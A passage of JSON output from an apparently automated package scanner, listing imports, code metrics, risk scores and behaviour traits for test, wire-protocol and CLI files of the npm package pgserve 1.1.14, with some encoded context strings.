              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBeNull"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "expect.toBeNull"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "expect.toBeNull"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "detectMajor"
            ],
            [
              "",
              "describe"
            ],
            [
              "",
              "RUNTIME"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "stalePg17Meta"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "meta"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "test"
            ],
            [
              "",
              "expect.toBe"
            ],
            [
              "",
              "expect"
            ],
            [
              "",
              "pgvectorMetaMatches"
            ],
            [
              "",
              "../src/postgres.js"
            ],
            [
              "",
              "bun:test"
            ]
          ],
          "mbr": [
            "expect().toBe",
            "expect().toBeNull",
            "versionString.match"
          ],
          "tgt": [
            "describe",
            "detectMajor",
            "expect",
            "expect().toBe",
            "expect().toBeNull",
            "pgvectorMetaMatches",
            "test",
            "versionString.match"
          ],
          "funcs": [
            [
              "detectMajor",
              900
            ],
            [
              "anonymous",
              1095
            ],
            [
              "anonymous",
              1190
            ],
            [
              "anonymous",
              1506
            ],
            [
              "anonymous",
              1724
            ],
            [
              "anonymous",
              1917
            ],
            [
              "anonymous",
              2943
            ],
            [
              "anonymous",
              3140
            ],
            [
              "anonymous",
              3482
            ],
            [
              "anonymous",
              3713
            ],
            [
              "anonymous",
              4041
            ],
            [
              "anonymous",
              4288
            ],
            [
              "anonymous",
              4601
            ],
            [
              "anonymous",
              4841
            ],
            [
              "anonymous",
              4997
            ]
          ],
          "metrics": {
            "ast": {
              "max_depth": 21,
              "call_count": 78,
              "node_count": 1053,
              "member_count": 3,
              "member_depth_max": 2
            },
            "file": {
              "size": 5228,
              "entropy": 5.06
            },
            "text": {
              "lines": 129,
              "top_char": 101,
              "max_ws_run": 4,
              "digit_ratio": 0.03,
              "space_count": 773,
              "char_entropy": 5.06,
              "unique_chars": 84,
              "top_char_null": 0,
              "string_density": 0.39,
              "top_char_ratio": 0.09,
              "avg_line_length": 39.53,
              "max_line_length": 100,
              "non_ascii_ratio": 0.01,
              "empty_line_ratio": 0.12,
              "last_line_length": 3,
              "whitespace_ratio": 0.17,
              "identifier_density": 0.96,
              "line_length_stddev": 30.87,
              "normalized_string_count": 4.4,
              "suspicious_comment_ratio": 0.38,
              "suspicious_identifier_ratio": 0.06,
              "normalized_unique_identifiers": 2.42
            },
            "binds": {
              "count": 7
            },
            "binary": {
              "peak_region_bytes": 5228,
              "peak_region_entropy": 5.01
            },
            "source": {
              "function_count": 1
            },
            "imports": {
              "count": 2,
              "relative": 1,
              "relative_ratio": 0.5,
              "third_party_count": 2,
              "third_party_ratio": 1
            },
            "strings": {
              "bytes": 1280,
              "count": 50,
              "avg_length": 25.6,
              "max_length": 82,
              "path_count": 5,
              "avg_entropy": 2.91,
              "empty_count": 1,
              "entropy_stddev": 1.32
            },
            "comments": {
              "chars": 1805,
              "count": 8,
              "lines": 37,
              "base64": 1,
              "high_entropy": 2,
              "to_code_ratio": 0.4
            },
            "functions": {
              "count": 1,
              "nested": 2,
              "density": 11.63,
              "anonymous": 14,
              "avg_params": 0.07,
              "code_ratio": 1.2,
              "max_params": 1,
              "length_stddev": 14.4,
              "avg_name_length": 11,
              "no_params_count": 14,
              "avg_length_lines": 10.33,
              "max_length_lines": 61,
              "min_length_lines": 3,
              "avg_nesting_depth": 0.8,
              "max_nesting_depth": 1,
              "avg_param_name_length": 13
            },
            "identifiers": {
              "count": 124,
              "unique": 17,
              "avg_length": 9.59,
              "max_length": 19,
              "min_length": 4,
              "avg_entropy": 2.79,
              "reuse_ratio": 0.14,
              "length_stddev": 4.46,
              "has_digit_ratio": 0.06,
              "base64_like_names": 1,
              "high_entropy_count": 1,
              "high_entropy_ratio": 0.06,
              "all_lowercase_ratio": 0.29,
              "all_uppercase_ratio": 0.12
            }
          }
        },
        "id": 29,
        "mol": "H(F)",
        "path": "pgserve-1.1.14.tgz!!package/tests/pg-version-regex.test.js",
        "pid": 0,
        "refs": [
          {
            "to": "../src/postgres.js",
            "off": 763,
            "file": 32,
            "kind": "local"
          }
        ],
        "risk": 2,
        "sha": "0c0ce7ff54168f8d09c5d85925795fd9a59769d6d81f1f81cd5aeadbd49125bb",
        "size": 5228,
        "traits": [
          {
            "id": "metadata/file/profile/language::lang-english--atom-2",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"and\"",
            "spans": [
              [
                241,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                23,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                806,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/fixture::jest-expect-call",
            "conf": 0.6,
            "crit": 2,
            "desc": "expect() function call",
            "spans": [
              [
                1202,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/fixture::mocha-describe-call",
            "conf": 0.6,
            "crit": 2,
            "desc": "Mocha describe() call",
            "spans": [
              [
                1028,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-directory-path",
            "conf": 1.0,
            "crit": 1,
            "desc": "File is in common test directory",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::tests-path-basename",
            "conf": 1.0,
            "crit": 1,
            "desc": "Tests path basename",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/reference::source-directory-literal",
            "conf": 0.85,
            "crit": 2,
            "desc": "References a source directory path",
            "spans": [
              [
                765,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/harness/runtime::test-basename-suffix",
            "conf": 1.0,
            "crit": 2,
            "desc": "Node.js test filename suffix",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/fixture::test-filename-pattern",
            "conf": 0.6,
            "crit": 2,
            "desc": "Common test filename pattern",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::spec-test-filename",
            "conf": 0.85,
            "crit": 1,
            "desc": "Spec or test filename markers",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::tests-path-filename",
            "conf": 0.85,
            "crit": 1,
            "desc": "File path or name indicates test code",
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/location::absolute-home-hidden-path",
            "conf": 0.9,
            "crit": 3,
            "desc": "References absolute hidden home path",
            "spans": [
              [
                3009,
                20
              ]
            ]
          },
          {
            "id": "metadata/package/testing/harness/runtime::test-basename-pattern",
            "conf": 1.0,
            "crit": 2,
            "desc": "Node.js test filename pattern",
            "uses": [
              8
            ],
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-directory",
            "conf": 1.0,
            "crit": 2,
            "desc": "File identified as a test by path or name",
            "uses": [
              5,
              11
            ],
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/presence/harness::test-or-declaration-file",
            "conf": 0.85,
            "crit": 1,
            "desc": "File is a test or type-declaration source file",
            "uses": [
              10,
              11
            ],
            "spans": [
              [
                0,
                0
              ]
            ]
          },
          {
            "id": "metadata/package/testing/harness/runtime::is-test",
            "conf": 0.9,
            "crit": 2,
            "desc": "Test, spec, or fixture file",
            "uses": [
              13,
              14
            ],
            "spans": [
              [
                0,
                0
              ]
            ]
          }
        ],
        "type": "javascript"
      },
      {
        "id": 30,
        "mol": "H₃(CmCrDb₄)",
        "sha": "2f9f072610a1fa198bea3e5008342064d3f82a49712a8fab020463032655e1e4",
        "path": "pgserve-1.1.14.tgz!!package/src/pg-wire.js",
        "risk": 6,
        "size": 21567,
        "type": "javascript",
        "depth": 1
      },
      {
        "ctx": [
          {
            "b": "boXZ.B8\u0026{yx(kOnzGWdiB-4J[fdFBUasXHMxldT8C4z^FavQcRwN]s.wfsY!B985nwM8D1ax8\u0026(C4CX3asWZvdJ?YhB.8X9z/f6cA=L-eBrC7izF\u003c2}BzkVhB1wCWwPzYiv@Dl%x\u003eF$t",
            "ln": 0,
            "col": 1,
            "line": 1
          },
          {
            "b": "cVs5Ni%]XsAbP=saBtkLByxiio)7n]x\u0026FUYvqZf=wPz%9AV/=Mw].*basw=]flqezfkkrmwQ2?xB0\u003c3Rx(d*cA=-BJaAITkA=:V+B-RUoA-lK\u0026C4CXpEircxz/3QAe?O!#A:{+jy\u0026%/vwPxzrB0\u003c3R3s!0(B95KiuU0\u003e\u003ezEEx[auZ\u0026^vrufnwnc74vqPN7w[=6)rz(H\u0026z+%\u003e:xEEOiAbP=se]tfwvj(Xyy:*!{3jnBtav*l^vQT6}wPz*fAV/47zE^M{A=RObA=kD0B8@%Lzyu(PzFiD@wnC*/qE%POv@#B6zyl$Tc#@)cB8L}Eayx8dz/6ifwHO-+j%kgVarUfjzGx-jwIdLmA=k$DcSL4$vqYQ(wN(]WA=k/eB7DE(wOL^^BzkVhiWVE3A+eW2z/d0=3vKu+3jp-)z!0v1B1RxGc)%dPv{%H)xMMW/v}xR3x(v(pefDuLA=M8sdiH=qaBsCray/tcB8L(ae[G6zz/NlNrC(qPB.txfavQJ+wPh:9z/dP-efFIAA=k$Ei%)8MAb](bwPI]BwQ4{hc]0ej3vKu+3jnBtaw=G!B7DEYoI3vnA+xJiwO#Qh3s!0(B95KkA+xCojS[Y:z!0v1B1Q)wxlC[Gy?Wx\u003cc]9kk3jnBodHEpFaw^8)zGE1zB75Y)aztt5A0^Zqfa8rlzEW^5z/cXpA+PAknm=QRc[co=3lQE3z/fSmy?kknz!yFa3ufT0wPz%9at1Z8zdm6!wmYo]p\u0026yz%xl4MZqa@9hwPz%9ATB@)jV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}n3rh4*wGUG3zEW*fA+fcgay/tczE)s1x(v)gefGmIA=i7gz/ff3xdLflB-.KNAb](ux(!0bzxJE#BywS!B7GzB3jo^ik$sv83lQEgxldT8C4z!2z/x/jz/fS43joN9r7P\u003eXq-Umdat2f:z/P}xjz]pUvR6NzarR^Hp\u0026yz%xl4MZqa@9Kz/P}xc$D[3vrDydiV{ysgCQx^arSl/wmoN*auTQKBz9\u0026XarR^HavGTWvix8{A+e:5z/QaCw]zYjAaK6hx(!xczEWl2c$D[3vrDydiV@cOeP26oz/QaL3lQDyePLoparR^HarR^HarR^HarTW9wGT(po^1I0z/Po0wGVegvivjlwP/.FxL!\u003euoLFx!CPZ{xy\u003cvM",
            "ln": 274,
            "col": 16,
            "line": 12
          },
          {
            "b": "3lQDyeOG6zBrAXVz/Z1:arR^HarTi[B95KDzY\u0026I6zE:(izY*DswObv[y\u0026?YXf!$WufFk4if!0CLat2fYz!ygPy?m^3y^5%:arR^HoMaL^y?m^3y=SXIA=M8sefGdBA=9AJx(mK3efFFmvS=rac$D[3vrDydiV@cOw]xa9arSl/v@cpeBy/FnarR^HarR^Hao",
            "ln": 1225,
            "col": 71,
            "line": 47
          },
          {
            "b": "B7]MgaA8cuzE[2mwmoN*vQTs?A%:3jeIgTEy\u0026yHtarR^HarR^HarR!9xM58qBzbxfaztt5A3f1eB8$=5wEn=spEESIiTM#LnP3a%wO(vaC{1ICwObv[y\u0026?9!arT9(xK#3(A:-=bBy/rday]hbwN/?2A^n=Vay[]5vixx8B95KyzxJ$hB97\u0026hBp6ckqBa21zeS@@asF/[A:-/liV]K/arTT7B.8W[",
            "ln": 1974,
            "col": 48,
            "line": 58
          },
          {
            "b": "c$D[3vrDydefFLkB95@QwPhr]zdN-@y:/YlaAg$mwPz%93jm)#boP{bvrcDjCwhejaAg[jB7]YqwO#PjB98tvvp%cUarUSoB7GxnwGSMRwmoN*atbrTvrt]+3lQDoavyo)Bz(1sAbP=s3lQEgxldT8C4z^FePtSGBrAB$gCYvBarR)Kq*Am\u003caARJA",
            "ln": 2288,
            "col": 26,
            "line": 67
          },
          {
            "b": "BrC^CA+/.sc#:lEy+cYFxdLf4A+PPivjSKjByM{L3lQEgz/Z2kA+friy=Tj5y\u0026r/(y?N:dBuhoogCQR2D1pwbarR^HboPo{Bz\u0026:vA+eW3wPF$rzfYV3a%pA8BywS!B7CX3aAhmuBz2S9B8=1Sfe4cWv{%g!z/Z1Yh8E9Afjw*sf!$KcarR)Kl3mo/eN@*jve",
            "ln": 2669,
            "col": 25,
            "line": 83
          },
          {
            "b": "wPF#jzxJL9A=VsBv@Dm5wN/*@z/b[8at1ZtwPzYiv@Dl%x\u003eINevruj4zxJ$hADL#owN(b\u003cat1Zjz/Z2kA+efDoDV5GasIboBzk]fayY55vrc6[B1wCxB-.KNwn=Wfy\u0026r-)wN)j%u\u0026",
            "ln": 2933,
            "col": 27,
            "line": 89
          },
          {
            "b": "uS6r)q:\u003cIUqDa=.xLy%\u0026azC)tzF%RtB9hCvz/P@hwft/daxJn{wn=Wk3lQE3z/fSray/wklVm9+BrAZ?z/WKvAcljIdk2BFzFa68i%)8Mv@DmaBrCpss7#L.z*cmBjS[V:e]USnBy]Diz73?QjV$}JcWfoxgCQst3jm)#v@DmaBrCHvBzkVhB09Q*DKp(rarUSwA=:t+i5AADed9HxarUuoB96C=cOWwne?![ie?[.83lQDlay[]5vmj*IiV@r.y?$TBfe1C=B.\u003e\u003epjS[PMzeTDuaz(4cwEoL5arU/FwL#@NiV@3yy\u0026:esati",
            "ln": 3215,
            "col": 32,
            "line": 100
          },
          {
            "b": "vpB4:aAg$pwN/?2AV!}rBy/uhx(v(iz/cXnwP]ncvrt{!vrl133lQEti%(rqazbLjasI5qBrCoujS(Buazz@XayPq6B1RouzFa68j0nk/d\u003e8P/3lQDlay/tcB95KkA+uHTayPq6B6Au:i%(rqarR!FCwheexDOZiA+u*zDKp(rarR^Hv{%B\u0026asw-)AbP=scPROSarR^Hay!\u00263wGSuLA3)WNarR^HarR^Hz/x/jz/fRGAbP=sauZ\u0026^vrcB2nP5R#vrc14",
            "ln": 4034,
            "col": 37,
            "line": 117
          },
          {
            "b": "arUf5B7DEweIh0Kz6}vKarR^HarR^Hz/x/jz/fRGB-Ra(vqNbIaARTDwJHkwarR^HarR!oA+eV{i%(rqarR^Hay!\u00263wGSuLeOG6zBsf9RarR^HarUf5B7DEweODH)3lQDlarR^HaA8jvx(v)ge[/fABrAZ?vrc14tpRjrt@@xoarR^HarR!oA+eV{i%(rqarR^Hay!\u00263wGSuLeO]urcPROSarR^Hay!\u00263wGSuLy:RmJarR^HarR^Hz/x/jz/fRGy\u0026r@WwP?T3auZ\u0026QA+xC$d\u003etsti%)8MarR^HarUclwNPvo3jm)#arR^Hv{%B\u0026ao",
            "ln": 4365,
            "col": 5,
            "line": 134
          },
          {
            "b": "3lQDlarR!qwObv[y\u0026?YBarR^HarR^Hx\u003ewFovrc0kB97\u0026hBApI$Bz96IeHI$@aBsCrarR^HarR^Hay/tcB8L(ae[G6zz/NmlrC(O\u0026z*c7wz/x/jz/dPUbZS%uxmjepi%)8MarQ",
            "ln": 5568,
            "col": 1,
            "line": 193
          },
          {
            "b": "aA}:AyH}Jed0GPIyH}Kcazkncaw+Nbmn^ePuSQ33ogq-3wO#Vu3lQE9w/@GBAb](bwPI]BwO#Vzp!aCMqDuj[s5hZ!mn+MSDKp(rarUfjzGx-jwId!qxddc{Aa:l6A=#1peG^G0vR67XwN(]Wz/Z2kA+efDoDWnBA=#2m3oZKnjV$}\u003ejV$}\u003ejV$}\u003ejV$}\u003ejV$}",
            "ln": 6048,
            "col": 40,
            "line": 216
          },
          {
            "b": "B1RJVzEVT:3lQDlarR^Hau{#Rmq=Kyy?mc1\u0026!AQsbZTDGBzkVhB1RJVzEVT:e]\u003eJxy***+c[^R=uogtSd)L:sasxi1dK)XhdsCOharR^HarR^HiV]!rx(^Y(y?mc8i%(rqarR^Hay/tcB8L(ae]kDsc$0xXwPz%9AV/BBvrcE3wft@ov}f7\u003eB7PMhy\u003cvfh3i",
            "ln": 8054,
            "col": 32,
            "line": 280
          },
          {
            "b": "ByxolBa2rXz/x/jz/fRGB9RUkl$7gCvQTs?B09W\u0026u)3\u003cyDV9\u003eBx(v)ge]#qQv)\u003c:EvpAU^wPJnGu)4GMcNTrH3pPhFze:r5B2\u003cTJaAhmuBz2S9B8=1Sfe1O$z/x/jzV",
            "ln": 8667,
            "col": 23,
            "line": 293
          },
          {
            "b": "a-IEuv}x.5e[F{ze(k5pmn^ePuSQ33ogq-caBsCrarR^Hay/tcB95KKax9w\u003cBAo\u0026UB7/33vrb)3EipV}vrVc]BrCpmAbP=sc){S1flqezflqkzBAo3Avrl9\u003ez^^V%e]2CPdlv\u003eVarR^Hay/tcB95KKax9w\u003cBAo//y\u00260V)Bz(gxEipV}vrVc]BrCpmAbP=sc){S1flqezflqkzBAo3zz!%l3v@#Tfe]2CPdlv\u003ezarR^HarSr\u003cavyfXvru66B97\u0026jB0a$hy\u00260V)Bz(gxCwhejayPkdA=k]qx\u003c(9{aAIEzA:@W43lQDlarR!pz/fSray/tay?m9#z/M%-az$+max9w\u003cBAo//y\u00260V)Bz(gFDKp(rarR^HarUYyB-.hniV@uWBzkVhA@",
            "ln": 9017,
            "col": 30,
            "line": 305
          },
          {
            "b": "CwX\u0026\u003e3lQDlaBKO7arR^Hfe1CvwO2*6Ab](bwPI]nvqGU3wEoL5arU9pvqf*azE[2mp\u0026ZF\u003ex(^\u0026lc[co4j%ki2dlv\u003eVaBLwxvru0)asH/wA=k$EaBsCrarR!pz/fSmy?kkgA=M8sc$2IMx(4u\u003eaARJAB97\u0026hBrCToA=#2mi::GYwPz*fAW:6SarR^HAb](bwPI]BwQ4{hc]0ej3lQEt3vJl*zddc@c[dj+",
            "ln": 10412,
            "col": 35,
            "line": 346
          }
        ],
        "depth": 1,
        "facts": {
          "imp": [
            [
              "",
              "dirname"
            ],
            [
              "",
              "path.dirname"
            ],
            [
              "",
              "fileURLToPath"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "args"
            ],
            [
              "",
              "process.argv.slice"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "cpuCount"
            ],
            [
              "",
              "os.cpus"
            ],
            [
              "",
              "isWindows"
            ],
            [
              "",
              "os.platform"
            ],
            [
              "",
              "options"
            ],
            [
              "",
              "arg"
            ],
            [
              "",
              "options.port"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "options.dataDir"
            ],
            [
              "",
              "options.useRam"
            ],
            [
              "",
              "options.host"
            ],
            [
              "",
              "options.logLevel"
            ],
            [
              "",
              "options.cluster"
            ],
            [
              "",
              "options.cluster"
            ],
            [
              "",
              "options.workers"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "options.autoProvision"
            ],
            [
              "",
              "options.syncTo"
            ],
            [
              "",
              "options.syncDatabases"
            ],
            [
              "",
              "options.showStats"
            ],
            [
              "",
              "options.showStats"
            ],
            [
              "",
              "options.maxConnections"
            ],
            [
              "",
              "parseInt"
            ],
            [
              "",
              "options.enablePgvector"
            ],
            [
              "",
              "printHelp"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "arg.startsWith"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "printHelp"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "options"
            ],
            [
              "",
              "parseArgs"
            ],
            [
              "",
              "memoryMode"
            ],
            [
              "",
              "storageType"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "server"
            ],
            [
              "",
              "server"
            ],
            [
              "",
              "startClusterServer"
            ],
            [
              "",
              "stats"
            ],
            [
              "",
              "server.getStats"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "router"
            ],
            [
              "",
              "startMultiTenantServer"
            ],
            [
              "",
              "server"
            ],
            [
              "",
              "syncStatus"
            ],
            [
              "",
              "options.syncTo.replace"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "dashboard"
            ],
            [
              "",
              "collector"
            ],
            [
              "",
              "server.getStats"
            ],
            [
              "",
              "dashboard"
            ],
            [
              "",
              "collector.collect"
            ],
            [
              "",
              "dashboard.start"
            ],
            [
              "",
              "shutdown"
            ],
            [
              "",
              "dashboard.stop"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "server.stop"
            ],
            [
              "",
              "console.log"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "process.on"
            ],
            [
              "",
              "console.error"
            ],
            [
              "",
              "process.exit"
            ],
            [
              "",
              "main"
            ],
            [
              "",
              "../src/cluster.js"
            ],
            [
              "",
              "../src/index.js"
            ],
            [
              "",
              "os"
            ],
            [
              "",
              "path"
            ],
            [
              "",
              "url"
            ]
          ],
          "mbr": [
            "arg.startsWith",
            "args.length",
            "collector.collect",
            "console.error",
            "console.log",
            "dashboard.start",
            "dashboard.stop",
            "err.message",
            "options.autoProvision",
            "options.cluster",
            "options.dataDir",
            "options.enablePgvector",
            "options.host",
            "options.logLevel",
            "options.maxConnections",
            "options.port",
            "options.showStats",
            "options.syncDatabases",
            "options.syncTo",
            "options.syncTo.replace",
            "options.useRam",
            "options.workers",
            "os.cpus",
            "os.cpus().length",
            "os.platform",
            "path.dirname",
            "process.argv",
            "process.argv.slice",
            "process.env",
            "process.env.PGSERVE_WORKER",
            "process.exit",
            "process.on",
            "router.pgPort",
            "server.getStats",
            "server.logger",
            "server.pgManager",
            "server.stop",
            "server.workers",
            "stats.workers"
          ],
          "tgt": [
            "Promise",
            "StatsCollector",
            "StatsDashboard",
            "arg.startsWith",
            "collector.collect",
            "console.error",
            "console.log",
            "dashboard.start",
            "dashboard.stop",
            "fileURLToPath",
            "main",
            "options.syncTo.replace",
            "os.cpus",
            "os.platform",
            "parseArgs",
            "parseInt",
            "path.dirname",
            "printHelp",
            "process.argv.slice",
            "process.exit",
            "process.on",
            "server.getStats",
            "server.stop",
            "startClusterServer",
            "startMultiTenantServer"
          ],
          "funcs": [
            [
              "anonymous",
              518
            ],
            [
              "anonymous",
              636
            ],
            [
              "printHelp",
              808
            ],
            [
              "parseArgs",
              3088
            ],
            [
              "main",
              5790
            ],
            [
              "anonymous",
              9429
            ],
            [
              "anonymous",
              9690
            ],
            [
              "anonymous",
              9904
            ],
            [
              "anonymous",
              10472
            ]
          ],
          "metrics": {
            "ast": {
              "op.eq": 1,
              "op.gt": 1,
              "op.lt": 1,
              "op.land": 2,
              "op.lnot": 5,
              "max_depth": 18,
              "call_count": 47,
              "node_count": 2036,
              "member_count": 39,
              "op_density.eq": 0,
              "op_density.gt": 0,
              "op_density.lt": 0,
              "op_density.land": 0,
              "op_density.lnot": 0,
              "member_depth_max": 3
            },
            "file": {
              "size": 10592,
              "entropy": 4.84
            },
            "text": {
              "lines": 357,
              "top_char": 101,
              "max_ws_run": 14,
              "digit_ratio": 0.01,
              "space_count": 2192,
              "char_entropy": 4.84,
              "unique_chars": 92,
              "top_char_null": 0,
              "string_density": 0.14,
              "top_char_ratio": 0.06,
              "ascii_art_lines": 2,
              "avg_line_length": 28.67,
              "max_line_length": 120,
              "non_ascii_ratio": 0,
              "empty_line_ratio": 0.17,
              "last_line_length": 7,
              "whitespace_ratio": 0.24,
              "identifier_density": 0.97,
              "line_length_stddev": 25.15,
              "normalized_string_count": 2.7,
              "repeated_char_sequences": 14,
              "suspicious_string_ratio": 0.02,
              "suspicious_comment_ratio": 0.13,
              "suspicious_identifier_ratio": 0.01,
              "normalized_unique_identifiers": 8.61
            },
            "binds": {
              "count": 34
            },
            "binary": {
              "peak_region_bytes": 8192,
              "peak_region_entropy": 5
            },
            "source": {
              "function_count": 3
            },
            "imports": {
              "count": 5,
              "relative": 2,
              "stdlib_count": 3,
              "stdlib_ratio": 0.6,
              "relative_ratio": 0.4,
              "third_party_count": 2,
              "third_party_ratio": 0.4
            },
            "strings": {
              "bytes": 4143,
              "count": 51,
              "shell": 1,
              "ip_count": 1,
              "very_long": 1,
              "avg_length": 81.24,
              "max_length": 2195,
              "path_count": 5,
              "avg_entropy": 2.79,
              "email_count": 1,
              "entropy_stddev": 1.09,
              "high_entropy_count": 1
            },
            "comments": {
              "chars": 1377,
              "count": 30,
              "lines": 41,
              "high_entropy": 4,
              "to_code_ratio": 0.13
            },
            "functions": {
              "count": 3,
              "nested": 1,
              "density": 2.52,
              "anonymous": 6,
              "avg_params": 0.33,
              "code_ratio": 0.95,
              "max_params": 2,
              "one_liners": 3,
              "length_stddev": 51.79,
              "over_100_lines": 2,
              "avg_name_length": 7.33,
              "no_params_count": 7,
              "avg_length_lines": 37.67,
              "max_length_lines": 147,
              "min_length_lines": 1,
              "avg_nesting_depth": 0.44,
              "max_nesting_depth": 1,
              "avg_param_name_length": 6.33
            },
            "identifiers": {
              "count": 345,
              "unique": 73,
              "avg_length": 7.75,
              "max_length": 22,
              "min_length": 1,
              "avg_entropy": 2.47,
              "reuse_ratio": 0.21,
              "length_stddev": 3.94,
              "sequential_names": 1,
              "single_char_count": 1,
              "single_char_ratio": 0.01,
              "high_entropy_count": 1,
              "high_entropy_ratio": 0.01,
              "all_lowercase_ratio": 0.56,
              "all_uppercase_ratio": 0.01,
              "underscore_prefix_count": 2
            }
          }
        },
        "id": 31,
        "mol": "H₅(CmDbOs₃PoU)",
        "path": "pgserve-1.1.14.tgz!!package/bin/pglite-server.js",
        "pid": 0,
        "refs": [
          {
            "to": "../src/index.js",
            "off": 320,
            "file": 25,
            "kind": "local"
          },
          {
            "to": "../src/cluster.js",
            "off": 374,
            "file": 14,
            "kind": "local"
          },
          {
            "to": "../src/stats-dashboard.js",
            "off": 9095,
            "file": 39,
            "kind": "local"
          },
          {
            "to": "../src/stats-collector.js",
            "off": 9171,
            "file": 38,
            "kind": "local"
          }
        ],
        "risk": 6,
        "sha": "187d9793dd4fcce51c9b0ccd59a2f411ab333577eac43a6ae80ef3adc12b3646",
        "size": 10592,
        "traits": [
          {
            "id": "metadata/file/profile/language::lang-english--atom-5",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"for\"",
            "spans": [
              [
                1118,
                0
              ]
            ]
          },
          {
            "id": "metadata/file/profile/language::lang-english--atom-6",
            "conf": 0.8,
            "crit": 2,
            "desc": "English function-word token \"with\"",
            "spans": [
              [
                2336,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/communications/url/host::url-host-property-assignment",
            "conf": 0.82,
            "crit": 3,
            "desc": "Assigns a request or URL host property",
            "spans": [
              [
                4474,
                16
              ]
            ]
          },
          {
            "id": "micro-behaviors/fs/path/reference::source-directory-literal",
            "conf": 0.85,
            "crit": 2,
            "desc": "References a source directory path",
            "spans": [
              [
                322,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/cpu::node-cpu-information-query",
            "conf": 0.9,
            "crit": 3,
            "desc": "Queries Node CPU information",
            "spans": [
              [
                3279,
                9
              ]
            ]
          },
          {
            "id": "micro-behaviors/os/sysinfo/platform/runtime::os-platform-call",
            "conf": 0.75,
            "crit": 2,
            "desc": "Queries OS platform with os.platform()",
            "spans": [
              [
                3317,
                0
              ]
            ]
          },
          {
            "id": "micro-behaviors/ui/help::script-usage-screen",
            "conf": 0.9,
            "crit": 3,
            "desc": "Script prints a CLI usage screen",
            "spans": [
              [
                992,
                36
              ]
            ]
          },
          {
            "id": "micro-behaviors/data/control-flow/module-exec::direct-zero-arg-call",
            "conf": 0.86,
